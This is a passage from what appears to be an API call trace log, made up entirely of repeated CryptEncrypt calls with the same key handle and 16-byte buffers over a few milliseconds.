pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.282] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.283] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.284] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.285] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.287] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 